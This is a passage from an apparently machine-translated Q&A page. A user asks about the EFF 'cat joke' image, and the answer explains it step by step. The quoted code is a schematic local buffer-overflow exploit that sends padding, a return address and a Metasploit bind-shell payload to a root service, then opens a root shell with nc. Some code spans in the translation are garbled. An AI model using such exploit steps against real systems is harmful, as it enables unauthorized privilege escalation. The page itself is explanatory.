电子前沿基金会的猫笑话

时间:2019-01-24 04:10:58

标签: python linux security

我偶然发现了这篇文章:Electronic Frontier Foundation - Coders' Rights Project.

我正在尝试理解此图中的代码:

cat joke

图片中的代码:

$ open catfood
catfood: Unable to open catfood
Permission denied
$ cat > canopener.py
#!/usr/bin/python
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1', 7500))
crash = '\x41'*1337
eip = '\xFF\xFE\xEF\x08'
payload = open("msf-bindshell-8888.bin").read()
sock.send(crash+eip+payload)
sock.close()
$ chmod +x canopener.py; ./canopener.py
$ nc -vv localhost 8888
localhost [127.0.0.1] 8888 (?) open
# open catfood
Opening delicious catfood...

我的理解是,这是一种使用python代码未经授权访问,连接到localhost并发送有效负载的黑客,但我的知识止于此。

这是一个真正的黑客还是我不理解的玩笑?

1 个答案:

答案 0 :(得分:3)

这完全基于现实。细目:

  • 用户想要运行命令open catfood,但缺少执行此操作所需的权限。
  • 在同一台计算机上有一个以root用户身份运行并在127.0.0.1:7500上监听的程序。
  • 所述程序包含一个缓冲区溢出漏洞,该漏洞可能导致堆执行。
  • 用户创建一个名为canopener.py的文件来利用此漏洞,方法是首先发送crash,其中1,337个字母A(这是'\x41'*1337产生的字母)溢出缓冲区,然后{{ 1}},要运行的代码的地址(此处未显示计算细节,因此我们假设它们计算正确),然后是eip,有效载荷代码本身(payload ,来自Metasploit的有效负载,可在端口8888上提供外壳)。
  • 用户使漏洞利用脚本msf-bindshell-8888.bin可执行并执行。这将导致有效负载以root用户身份运行。
  • 用户连接到端口8888,并显示一个根外壳(由canopener.py提示符代替过去的#提示符)。
  • 用户使用其新的root shell运行$命令。